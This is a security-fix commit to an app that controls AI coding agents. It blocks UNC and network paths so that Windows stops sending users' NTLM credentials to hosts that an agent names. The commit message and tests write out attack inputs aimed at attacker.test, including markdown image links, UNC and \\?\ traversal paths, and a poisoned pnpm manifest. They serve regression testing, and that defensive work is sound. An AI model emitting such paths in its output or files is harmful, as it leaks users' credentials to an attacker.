@devries-cameron20 / t3code-1 / commits / a12d6ed942
Fork 0

The best way to control Claude Code, Codex and more from any computer or phone

Merge commit from fork

A markdown image such as ![x](file://attacker.test/share/cat.jpg), or a raw \\host\share path, was classified as a host file. Rendering it asked the server for a signed asset URL, and the server's realpath on the resulting UNC path made Windows open an SMB session and send the user's NetNTLMv2 response to the attacker's host, with no click and no tool call. File-link chips did the same through filesystem.getMetadata, which stats every absolute path, and storage cleanup stats the store paths in a worktree's pnpm manifest, which an agent can write. Network paths (two leading separators, as Windows reads them: \\h, //h, /\h) now only resolve inside the thread's project, so projects on a share keep working: - clients block them in markdown images and stop treating them as file links - the web stops asking for their metadata - the server refuses them for media assets and file reads outside the project, never stats one for metadata, and storage cleanup ignores a pnpm manifest that names one - each check hands the filesystem the resolved path it approved, since Windows reads a `\\?\` path as written, `..` included Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

Julius Marminge committed Oct 21, 2026 at 15:47 UTC a12d6ed9428d8e64d76ca86d178abbf564b57cee
15 files changed +302 -26
apps/mobile/src/lib/markdownMedia.test.ts
+4 -4
@@ -38,10 +38,10 @@ describe("resolveMarkdownMediaPreview", () => {
38 ["/tmp/frame%23one.png:12", "/tmp/frame#one.png"],
39 ["/tmp/frame%3Fone.png:12:3", "/tmp/frame?one.png"],
40 ["/tmp/frame%2523one.png:12", "/tmp/frame%23one.png"],
41 - ["file://server/share/frame.png", "\\\\server\\share\\frame.png"],
42 - ["\\\\server\\share\\frame.png", "\\\\server\\share\\frame.png"],
43 - ])("keeps encoded filename and UNC semantics for %s", (href, path) => {
44 - expect(resolveMarkdownMediaPreview(href, input)).toMatchObject({
41 + ["file://server/share/frame.png", "\\\\server\\share\\frame.png", "\\\\server\\share"],
42 + ["\\\\server\\share\\frame.png", "\\\\server\\share\\frame.png", "\\\\server\\share"],
43 + ])("keeps encoded filename and UNC semantics for %s", (href, path, workspaceRoot = "/repo") => {
44 + expect(resolveMarkdownMediaPreview(href, { ...input, workspaceRoot })).toMatchObject({
45 kind: "image",
46 source: {
47 resource: { path },
apps/server/src/assets/AssetAccess.test.ts
+42
@@ -17,6 +17,7 @@ import * as FileSystem from "effect/FileSystem";
17 import * as Layer from "effect/Layer";
18 import * as Redacted from "effect/Redacted";
19 import * as Path from "effect/Path";
20 +import * as PlatformError from "effect/PlatformError";
21 import * as Schema from "effect/Schema";
22 import { HttpClient, HttpClientResponse, HttpServerResponse } from "effect/http";
23 import { vi } from "vite-plus/test";
@@ -359,6 +360,47 @@ describe("AssetAccess", () => {
360 }).pipe(Effect.provide(layerTest)),
361 );
362
363 + // Resolving `file://attacker.test/share/cat.jpg` from an agent's markdown sent the
364 + // Windows user's NTLM credentials to attacker.test.
365 + it.effect("never resolves a network media path outside the thread's project", () =>
366 + Effect.gen(function* () {
367 + const fs = yield* FileSystem.FileSystem;
368 + const path = yield* Path.Path;
369 + const resolved: Array<string> = [];
370 + const recordingFileSystem = FileSystem.FileSystem.of({
371 + ...fs,
372 + realPath: (requestedPath) => {
373 + resolved.push(requestedPath);
374 + return Effect.fail(
375 + PlatformError.systemError({
376 + _tag: "NotFound",
377 + module: "FileSystem",
378 + method: "realPath",
379 + pathOrDescriptor: requestedPath,
380 + }),
381 + );
382 + },
383 + });
384 + const share = "//nas.test/share/project";
385 + for (const resource of [
386 + {
387 + _tag: "media-file",
388 + threadId: ThreadId.make("thread-1"),
389 + path: "//attacker.test/s/a.png",
390 + },
391 + { _tag: "draft-workspace-file", cwd: share, path: "//attacker.test/s/a.png" },
392 + { _tag: "media-file", threadId: ThreadId.make("thread-1"), path: `${share}/a.png` },
393 + ] as const) {
394 + const error = yield* issueAssetUrl({ resource, workspaceRoot: share }).pipe(
395 + Effect.provideService(FileSystem.FileSystem, recordingFileSystem),
396 + Effect.flip,
397 + );
398 + expect(error._tag).toBe("AssetWorkspaceAssetNotFoundError");
399 + }
400 + expect(resolved).toEqual([path.resolve(`${share}/a.png`)]);
401 + }).pipe(Effect.provide(layerTest)),
402 + );
403 +
404 it.effect.skipIf(!symlinksSupported)(
405 "rejects non-previewable files, disguised targets, and directories",
406 () =>
apps/server/src/assets/AssetAccess.ts
+21 -1
@@ -36,6 +36,7 @@ import {
36 isProjectFaviconPath,
37 PROJECT_FAVICON_FALLBACK_MARKER,
38 } from "@t3tools/shared/projectFavicon";
39 +import { isNetworkPath } from "@t3tools/shared/path";
40 import { MAX_TOOL_OUTPUT_IMAGE_BASE64_LENGTH, toolOutputImages } from "@t3tools/shared/toolOutput";
41 import * as Clock from "effect/Clock";
42 import * as Crypto from "effect/Crypto";
@@ -60,6 +61,7 @@ import * as ServerConfig from "../config.ts";
61 import * as Orchestrator from "../orchestration-v2/Orchestrator.ts";
62 import { expandHomePath } from "@t3tools/provider-core/server/pathExpansion";
63 import * as ProjectFaviconResolver from "../project/ProjectFaviconResolver.ts";
64 +import { isWithinRoot } from "../workspace/KnownWorkspaces.ts";
65 import * as WorkspacePaths from "../workspace/WorkspacePaths.ts";
66 import * as NativeAppIconResolver from "./NativeAppIconResolver.ts";
67 import { extractIcnsPng } from "./icns.ts";
@@ -349,11 +351,27 @@ const readImageDimensionsFromHeader = (filePath: string) =>
351 const finalizeAbsoluteMediaFileAsset = Effect.fn("AssetAccess.finalizeAbsoluteMediaFileAsset")(
352 function* (input: {
353 readonly requestedPath: string;
354 + readonly workspaceRoot: string | undefined;
355 readonly resource: AssetResource;
356 readonly expiresAt: number;
357 }) {
358 const path = yield* Path.Path;
356 - const canonicalFile = yield* resolveCanonicalFile(input.requestedPath).pipe(
359 + // Resolving a network path makes Windows sign in to its host with the
360 + // user's NTLM credentials, so only the thread's own project may be on a share.
361 + // Windows reads a `\\?\` path as written, `..` included, so the lookup gets
362 + // the resolved path this check approved.
363 + const requestedPath = path.resolve(input.requestedPath);
364 + if (
365 + isNetworkPath(input.requestedPath) &&
366 + (input.workspaceRoot === undefined ||
367 + !isWithinRoot(path, requestedPath, path.resolve(input.workspaceRoot)))
368 + ) {
369 + return yield* new AssetWorkspaceAssetNotFoundError({
370 + resource: input.resource,
371 + checkedPath: input.requestedPath,
372 + });
373 + }
374 + const canonicalFile = yield* resolveCanonicalFile(requestedPath).pipe(
375 Effect.mapError(
376 (cause) => new AssetWorkspaceAssetInspectionError({ resource: input.resource, cause }),
377 ),
@@ -524,6 +542,7 @@ export const issueAssetUrl = Effect.fn("AssetAccess.issueAssetUrl")(function* (i
542 }
543 const finalized = yield* finalizeAbsoluteMediaFileAsset({
544 requestedPath,
545 + workspaceRoot: input.workspaceRoot,
546 resource: input.resource,
547 expiresAt,
548 });
@@ -566,6 +585,7 @@ export const issueAssetUrl = Effect.fn("AssetAccess.issueAssetUrl")(function* (i
585 if (path.isAbsolute(hostPath)) {
586 const finalized = yield* finalizeAbsoluteMediaFileAsset({
587 requestedPath: hostPath,
588 + workspaceRoot: draftWorkspaceRoot,
589 resource: input.resource,
590 expiresAt,
591 });
apps/server/src/storageCleanup.test.ts
+30
@@ -1299,6 +1299,36 @@ describe("storage cleanup reports and local file policies", () => {
1299 }),
1300 ),
1301 );
1302 + // An agent can write this manifest. Statting its store sent the Windows
1303 + // user's NTLM credentials to attacker.test during a background sweep.
1304 + it.live.each([
1305 + { storeDir: "\\\\attacker.test\\s" },
1306 + { storeDir: "/local/store", virtualStoreDir: "//attacker.test/s" },
1307 + ])("never stats a network pnpm store %o", (manifest) =>
1308 + runCleanupTest(
1309 + Effect.gen(function* () {
1310 + const fs = yield* FileSystem.FileSystem;
1311 + const statted: Array<string> = [];
1312 + const { service, worktree, setPolicy } = yield* cleanupFixture().pipe(
1313 + Effect.provideService(FileSystem.FileSystem, {
1314 + ...fs,
1315 + stat: (target) => {
1316 + statted.push(target);
1317 + return fs.stat(target);
1318 + },
1319 + }),
1320 + );
1321 + setPolicy("tracked-changes");
1322 + yield* fs.makeDirectory(`${worktree}/node_modules`);
1323 + yield* fs.writeFileString(
1324 + `${worktree}/node_modules/.modules.yaml`,
1325 + JSON.stringify(manifest),
1326 + );
1327 + expect((yield* service.runNow).entries[0]).toMatchObject({ outcome: "removed" });
1328 + expect(statted.filter((target) => target.includes("attacker.test"))).toEqual([]);
1329 + }),
1330 + ),
1331 + );
1332 it.live("still removes a worktree when measuring its size fails", () =>
1333 runCleanupTest(
1334 Effect.gen(function* () {
apps/server/src/storageCleanup.ts
+6
@@ -50,6 +50,7 @@ import { removeLinkedWorktree } from "./vcs/worktreeRemoval.ts";
50 import { withWorkspaceLease } from "./workspace/workspaceLease.ts";
51 import * as HostProcess from "@t3tools/shared/HostProcess";
52 import * as NodeSqliteClient from "@t3tools/shared/nodeSqliteClient";
53 +import { isNetworkPath } from "@t3tools/shared/path";
54
55 const decodeCleanupThread = Schema.decodeUnknownEffect(
56 Schema.fromJsonString(OrchestrationV2AppThreadJson),
@@ -265,6 +266,11 @@ const make = Effect.gen(function* () {
266 const nodeModules = path.join(root, "node_modules");
267 const text = yield* fs.readFileString(path.join(nodeModules, ".modules.yaml"));
268 const manifest = yield* decodePnpmModulesManifest(yield* Effect.try(() => parseYaml(text)));
269 + // An agent can write this manifest, and statting a network path makes
270 + // Windows sign in to its host with the user's NTLM credentials.
271 + if (isNetworkPath(manifest.storeDir) || isNetworkPath(manifest.virtualStoreDir ?? "")) {
272 + return null;
273 + }
274 const virtualStore = path.resolve(nodeModules, manifest.virtualStoreDir ?? ".pnpm");
275 const [store, virtual] = yield* Effect.all([
276 fs.stat(manifest.storeDir),
apps/server/src/workspace/WorkspaceFileSystem.test.ts
+100 -1
@@ -1,6 +1,8 @@
1 -// @effect-diagnostics nodeBuiltinImport:off - FileSystem cannot create a FIFO.
1 +// @effect-diagnostics nodeBuiltinImport:off - FileSystem cannot create a FIFO, and reads spy on native realpath.
2 import * as NodeChildProcess from "node:child_process";
3 +import * as NodeFSP from "node:fs/promises";
4
5 +import * as NodePath from "@effect/platform-node/NodePath";
6 import * as NodeServices from "@effect/platform-node/NodeServices";
7 import { it, describe, expect } from "@effect/vitest";
8 import * as Effect from "effect/Effect";
@@ -17,6 +19,12 @@ import * as WorkspaceFileSystem from "./WorkspaceFileSystem.ts";
19 import * as WorkspacePaths from "./WorkspacePaths.ts";
20 import * as HostProcess from "@t3tools/shared/HostProcess";
21 import { symlinksSupported } from "@t3tools/shared/testing/symlinks";
22 +import { vi } from "vite-plus/test";
23 +
24 +vi.mock("node:fs/promises", async (importOriginal) => {
25 + const actual = await importOriginal<typeof NodeFSP>();
26 + return { ...actual, realpath: vi.fn(actual.realpath) };
27 +});
28
29 // Temp folders count as known workspaces unless named as unknown.
30 const UNKNOWN_WORKSPACE_PREFIX = "t3code-unknown-workspace-";
@@ -123,6 +131,35 @@ it.layer(layerTest, { excludeTestServices: true })("WorkspaceFileSystemLive", (i
131 ]);
132 }),
133 );
134 +
135 + // A file chip for `file://attacker.test/s/a.ts` in an agent's message sent
136 + // the Windows user's NTLM credentials to attacker.test as it rendered.
137 + it.effect("never stats a network path", () =>
138 + Effect.gen(function* () {
139 + const fs = yield* FileSystem.FileSystem;
140 + const statted: Array<string> = [];
141 + const service = yield* WorkspaceFileSystem.make.pipe(
142 + Effect.provideService(
143 + FileSystem.FileSystem,
144 + FileSystem.FileSystem.of({
145 + ...fs,
146 + stat: (requestedPath) => {
147 + statted.push(requestedPath);
148 + return fs.stat(requestedPath);
149 + },
150 + }),
151 + ),
152 + Effect.provide(layerKnownWorkspacesTest),
153 + );
154 + const paths = [
155 + "\\\\attacker.test\\s\\a.ts",
156 + "//attacker.test/s/a.ts",
157 + "/\\attacker.test\\s",
158 + ];
159 + expect((yield* service.getMetadata({ paths })).entries).toEqual([null, null, null]);
160 + expect(statted).toEqual([]);
161 + }),
162 + );
163 });
164
165 describe("readFile", () => {
@@ -199,6 +236,68 @@ it.layer(layerTest, { excludeTestServices: true })("WorkspaceFileSystemLive", (i
236 }),
237 );
238
239 + it.effect("refuses a network path outside the workspace", () =>
240 + Effect.gen(function* () {
241 + const workspaceFileSystem = yield* WorkspaceFileSystem.WorkspaceFileSystem;
242 +
243 + const error = yield* workspaceFileSystem
244 + .readFile({ cwd: "//nas.test/share/project", relativePath: "//attacker.test/s/a.md" })
245 + .pipe(Effect.flip);
246 +
247 + expect(error).toBeInstanceOf(WorkspacePaths.WorkspacePathOutsideRootError);
248 + }),
249 + );
250 +
251 + // This resolves inside the project, but Windows reads `\\?\` paths as
252 + // written, so realpath on the raw string signed in to attacker.test.
253 + it.effect("reads the network path it checked", () =>
254 + Effect.gen(function* () {
255 + const workspaceFileSystem = yield* WorkspaceFileSystem.make.pipe(
256 + Effect.provide(Layer.merge(layerKnownWorkspacesTest, NodePath.layerWin32)),
257 + );
258 + // Rejects without touching the filesystem, so a Windows runner never looks the share up.
259 + const realpath = vi
260 + .mocked(NodeFSP.realpath)
261 + .mockClear()
262 + .mockRejectedValueOnce(Object.assign(new Error("ENOENT"), { code: "ENOENT" }));
263 +
264 + yield* workspaceFileSystem
265 + .readFile({
266 + cwd: "\\\\?\\UNC\\nas.test\\share\\project",
267 + relativePath: "\\\\?\\UNC\\attacker.test\\s\\..\\..\\nas.test\\share\\project\\a.md",
268 + })
269 + .pipe(Effect.exit);
270 +
271 + expect(realpath.mock.calls.map(([target]) => target)).toEqual([
272 + "\\\\?\\UNC\\nas.test\\share\\project\\a.md",
273 + ]);
274 + }),
275 + );
276 +
277 + // Resolving `..` before realpath would read beside the link instead of its target.
278 + // Windows collapses `..` before the filesystem sees a path, so it has no such reads.
279 + it.effect.skipIf(!symlinksSupported || HostProcess.Platform.defaultValue() === "win32")(
280 + "reads `..` after a link from the link's target",
281 + () =>
282 + Effect.gen(function* () {
283 + const workspaceFileSystem = yield* WorkspaceFileSystem.WorkspaceFileSystem;
284 + const fs = yield* FileSystem.FileSystem;
285 + const path = yield* Path.Path;
286 + const root = yield* makeTempDir;
287 + yield* writeTextFile(root, "target/parent.md", "beside the target\n");
288 + yield* writeTextFile(root, "parent.md", "beside the link\n");
289 + yield* fs.makeDirectory(path.join(root, "target", "child"));
290 + yield* fs.symlink(path.join(root, "target", "child"), path.join(root, "link"));
291 +
292 + const result = yield* workspaceFileSystem.readFile({
293 + cwd: root,
294 + relativePath: `${root}/link/../parent.md`,
295 + });
296 +
297 + expect(result.contents).toBe("beside the target\n");
298 + }),
299 + );
300 +
301 it.effect.skipIf(!symlinksSupported)(
302 "rejects symlinks that resolve outside the workspace root",
303 () =>
apps/server/src/workspace/WorkspaceFileSystem.ts
+22 -5
@@ -13,6 +13,7 @@ import type {
13 } from "@t3tools/contracts";
14 import { expandHomePath } from "@t3tools/provider-core/server/pathExpansion";
15 import * as HostProcess from "@t3tools/shared/HostProcess";
16 +import { isNetworkPath } from "@t3tools/shared/path";
17 import * as Context from "effect/Context";
18 import * as Effect from "effect/Effect";
19 import * as FileSystem from "effect/FileSystem";
@@ -142,7 +143,9 @@ export const make = Effect.gen(function* () {
143
144 const metadataForPath = Effect.fnUntraced(function* (requestedPath: string) {
145 const expandedPath = expandHomePath(requestedPath, yield* HostProcess.HomeDirectory);
145 - if (!path.isAbsolute(expandedPath)) return null;
146 + // Chips ask as soon as an agent's message renders, and touching a network
147 + // path makes Windows sign in to its host with the user's NTLM credentials.
148 + if (!path.isAbsolute(expandedPath) || isNetworkPath(expandedPath)) return null;
149 const stat = yield* fileSystem.stat(expandedPath).pipe(Effect.option);
150 if (stat._tag === "None") return null;
151 if (stat.value.type === "Directory") return { kind: "directory" } as const;
@@ -222,7 +225,8 @@ export const make = Effect.gen(function* () {
225 /**
226 * Workspace-relative paths must stay inside the root, symlinks included. An
227 * absolute or `~/` path reads a host file in place, such as a report an agent
225 - * wrote to a temp directory; it gets no root check.
228 + * wrote to a temp directory; it gets no root check. A network path does, since
229 + * Windows signs in to its host with the user's NTLM credentials.
230 */
231 const resolveReadTarget = Effect.fn("WorkspaceFileSystem.resolveReadTarget")(function* (
232 input: ProjectReadFileInput,
@@ -231,15 +235,28 @@ export const make = Effect.gen(function* () {
235 const hostPath = requestedPath.startsWith("~/")
236 ? expandHomePath(requestedPath, yield* HostProcess.HomeDirectory)
237 : requestedPath;
238 + if (
239 + isNetworkPath(hostPath) &&
240 + !KnownWorkspaces.isWithinRoot(path, path.resolve(hostPath), path.resolve(input.cwd))
241 + ) {
242 + return yield* new WorkspacePaths.WorkspacePathOutsideRootError({
243 + workspaceRoot: input.cwd,
244 + relativePath: input.relativePath,
245 + });
246 + }
247 if (path.isAbsolute(hostPath)) {
248 + // Native realpath hands Windows a `\\?\` path as written, `..` included,
249 + // so a network path must be the resolved one the check above approved.
250 + // Others keep POSIX `link/..` semantics, which resolving first would change.
251 + const absolutePath = isNetworkPath(hostPath) ? path.resolve(hostPath) : hostPath;
252 const realTargetPath = yield* Effect.tryPromise({
236 - try: () => NodeFSP.realpath(hostPath),
253 + try: () => NodeFSP.realpath(absolutePath),
254 catch: (cause) =>
255 new WorkspaceFileSystemOperationError({
256 workspaceRoot: input.cwd,
257 relativePath: input.relativePath,
241 - resolvedPath: hostPath,
242 - operationPath: hostPath,
258 + resolvedPath: absolutePath,
259 + operationPath: absolutePath,
260 operation: "realpath-target",
261 cause,
262 }),
apps/server/src/ws.ts
+5 -1
@@ -246,6 +246,7 @@ import * as VcsProjectConfig from "./vcs/VcsProjectConfig.ts";
246 import * as PairingGrantStore from "./auth/PairingGrantStore.ts";
247 import * as SessionStore from "./auth/SessionStore.ts";
248 import { failEnvironmentAuthInvalid, failEnvironmentInternal } from "./auth/http.ts";
249 +import { isNetworkPath } from "@t3tools/shared/path";
250 import * as RelayClient from "@t3tools/shared/relayClient";
251 import { isTelemetryIdHash } from "@t3tools/shared/telemetryId";
252 import {
@@ -2721,7 +2722,10 @@ export const layerWsRpc = (
2722 input.resource._tag === "native-app-icon" ||
2723 input.resource._tag === "tool-output-image" ||
2724 input.resource._tag === "github-media" ||
2724 - (input.resource._tag === "media-file" && path.isAbsolute(input.resource.path))
2725 + // A network path is served only from the thread's project, looked up below.
2726 + (input.resource._tag === "media-file" &&
2727 + path.isAbsolute(input.resource.path) &&
2728 + !isNetworkPath(input.resource.path))
2729 ) {
2730 return yield* issueAssetUrl({ resource: input.resource });
2731 }
apps/web/src/hooks/useFileMetadata.ts
+8 -2
@@ -1,6 +1,10 @@
1 import { AuthFilesystemReadScope, type EnvironmentId } from "@t3tools/contracts";
2 import { resolvePathLinkTarget, splitFilePathPosition } from "@t3tools/shared/fileLinks";
3 -import { normalizeProjectPathForComparison, isAbsolutePath } from "@t3tools/shared/path";
3 +import {
4 + isAbsolutePath,
5 + isNetworkPath,
6 + normalizeProjectPathForComparison,
7 +} from "@t3tools/shared/path";
8 import { useContext } from "react";
9
10 import { useEnvironmentScope } from "../state/session";
@@ -21,7 +25,9 @@ export function useFileMetadata(
25 );
26 const absolute = isAbsolutePath(targetPath) || targetPath.startsWith("~/");
27 return useEnvironmentQuery(
24 - environmentId && canRead && absolute && targetPath.length <= 512
28 + // Servers stat what they are asked about, and a network path leaks the
29 + // Windows user's NTLM credentials to its host before any chip is clicked.
30 + environmentId && canRead && absolute && !isNetworkPath(targetPath) && targetPath.length <= 512
31 ? projectEnvironment.fileMetadata({
32 environmentId,
33 input: {
packages/client-runtime/src/markdownImages.test.ts
+14 -1
@@ -11,7 +11,7 @@ describe("classifyMarkdownImageSource", () => {
11 "C:\\Users\\dara\\project\\images\\result.png",
12 ],
13 ["file:///workspace/project/image%20one.png", null, "/workspace/project/image one.png"],
14 - ["file://server/share/image.png", null, "\\\\server\\share\\image.png"],
14 + ["file://server/share/image.png", "\\\\server\\share", "\\\\server\\share\\image.png"],
15 ])("maps %s to a workspace file", (source, workspaceRoot, path) => {
16 expect(classifyMarkdownImageSource(source, workspaceRoot)).toEqual({
17 _tag: "WorkspaceFile",
@@ -25,4 +25,17 @@ describe("classifyMarkdownImageSource", () => {
25 expect(classifyMarkdownImageSource(source)).toEqual({ _tag: "Blocked" });
26 },
27 );
28 +
29 + // Loading these makes Windows send the user's NTLM credentials to the named host.
30 + it.each([
31 + "file://attacker.test/share/cat.jpg",
32 + "\\\\attacker.test\\share\\cat.jpg",
33 + "/\\attacker.test\\share\\cat.jpg",
34 + "file:/%5Cattacker.test%5Cshare%5Ccat.jpg",
35 + "\\\\server\\other\\cat.jpg",
36 + ])("blocks network path %s outside the project", (source) => {
37 + expect(classifyMarkdownImageSource(source, "\\\\server\\share\\project")).toEqual({
38 + _tag: "Blocked",
39 + });
40 + });
41 });
packages/client-runtime/src/markdownImages.ts
+21 -6
@@ -1,4 +1,9 @@
1 -import { isWindowsAbsolutePath, stripSlashPrefixedWindowsDrive } from "@t3tools/shared/path";
1 +import {
2 + isNetworkPath,
3 + isWindowsAbsolutePath,
4 + stripSlashPrefixedWindowsDrive,
5 + workspaceRelativeFilePath,
6 +} from "@t3tools/shared/path";
7
8 import {
9 normalizeMarkdownLinkDestination,
@@ -26,6 +31,16 @@ function joinWorkspacePath(workspaceRoot: string, relativePath: string): string
31 return `${root}${separator}${path}`;
32 }
33
34 +/** Rendering is not a click, so a network path loads only from the project's own share. */
35 +function hostFileSource(
36 + path: string,
37 + workspaceRoot: string | null | undefined,
38 +): MarkdownImageSource {
39 + return isNetworkPath(path) && workspaceRelativeFilePath(path, workspaceRoot) === null
40 + ? { _tag: "Blocked" }
41 + : { _tag: "WorkspaceFile", path };
42 +}
43 +
44 /**
45 * Filesystem paths belong to the environment host and must never reach a
46 * browser or native image component without first becoming a signed asset URL.
@@ -48,10 +63,10 @@ export function classifyMarkdownImageSource(
63 const target = parseFileUrlHref(source);
64 return target === null
65 ? { _tag: "Blocked" }
51 - : {
52 - _tag: "WorkspaceFile",
53 - path: stripSlashPrefixedWindowsDrive(safeDecodeURIComponent(target.path)),
54 - };
66 + : hostFileSource(
67 + stripSlashPrefixedWindowsDrive(safeDecodeURIComponent(target.path)),
68 + workspaceRoot,
69 + );
70 }
71
72 const path = stripSlashPrefixedWindowsDrive(
@@ -59,7 +74,7 @@ export function classifyMarkdownImageSource(
74 );
75 if (path.length === 0) return { _tag: "Blocked" };
76 if (path.startsWith("/") || isWindowsAbsolutePath(path)) {
62 - return { _tag: "WorkspaceFile", path };
77 + return hostFileSource(path, workspaceRoot);
78 }
79 if (URI_SCHEME_PATTERN.test(path) || path.startsWith("~/") || path.startsWith("~\\")) {
80 return { _tag: "Blocked" };
packages/client-runtime/src/mediaSource.test.ts
-1
@@ -35,7 +35,6 @@ describe("resolveMediaSource", () => {
35 it.each([
36 ["/tmp/frame%23one.png:12", "/tmp/frame#one.png"],
37 ["/tmp/frame%2523one.png:12", "/tmp/frame%23one.png"],
38 - ["file://server/share/frame.png", "\\\\server\\share\\frame.png"],
38 ])("resolves %s through the environment", (href, path) => {
39 expect(resolveMediaSource(href, { threadId, workspaceRoot: "/repo" })).toEqual({
40 kind: "image",
packages/shared/src/markdownLinks.test.ts
+7 -2
@@ -126,10 +126,15 @@ describe("resolveMarkdownFileLinkTarget", () => {
126 );
127 });
128
129 - it("resolves file uri authorities as windows UNC paths", () => {
130 - expect(resolveMarkdownFileLinkTarget("file://server/share/workspace-image.svg")).toBe(
129 + it("links a network path only inside the project's share", () => {
130 + const cwd = "\\\\server\\share";
131 + expect(resolveMarkdownFileLinkTarget("file://server/share/workspace-image.svg", cwd)).toBe(
132 "\\\\server\\share\\workspace-image.svg",
133 );
134 + // Opening these sent the Windows user's NTLM credentials to attacker.test.
135 + for (const href of ["file://attacker.test/s/x.ts", "\\\\attacker.test\\s\\x.ts"]) {
136 + expect(resolveMarkdownFileLinkTarget(href, cwd)).toBeNull();
137 + }
138 });
139
140 it("keeps an encoded final space in the absolute target", () => {
packages/shared/src/markdownLinks.ts
+13 -2
@@ -1,4 +1,9 @@
1 -import { isWindowsAbsolutePath, stripSlashPrefixedWindowsDrive } from "./path.ts";
1 +import {
2 + isNetworkPath,
3 + isWindowsAbsolutePath,
4 + stripSlashPrefixedWindowsDrive,
5 + workspaceRelativeFilePath,
6 +} from "./path.ts";
7 import {
8 type FilePathPosition,
9 formatFilePathPosition,
@@ -391,7 +396,13 @@ export function resolveMarkdownFileLinkTarget(
396 if (!target) return null;
397
398 const pathWithPosition = formatFilePathPosition(target);
394 - if (!isRelativeFilePath(pathWithPosition)) return pathWithPosition;
399 + if (!isRelativeFilePath(pathWithPosition)) {
400 + // Opening a network path makes Windows sign in to its host with the user's
401 + // NTLM credentials, so only the project's own share becomes a file link.
402 + return isNetworkPath(target.path) && workspaceRelativeFilePath(target.path, cwd) === null
403 + ? null
404 + : pathWithPosition;
405 + }
406 if (!baseDir) return null;
407 return resolvePathLinkTarget(pathWithPosition, baseDir);
408 }
packages/shared/src/path.ts
+9
@@ -6,6 +6,15 @@ export function isUncPath(value: string): boolean {
6 return value.startsWith("\\\\");
7 }
8
9 +/**
10 + * Windows treats `/` and `\` alike, so any two leading separators name a UNC
11 + * or device path. Touching one makes Windows sign in to that host with the
12 + * user's NTLM credentials, so agent-authored paths must not reach one.
13 + */
14 +export function isNetworkPath(value: string): boolean {
15 + return /^[\\/]{2}/.test(value);
16 +}
17 +
18 export function isWindowsAbsolutePath(value: string): boolean {
19 return isUncPath(value) || isWindowsDrivePath(value);
20 }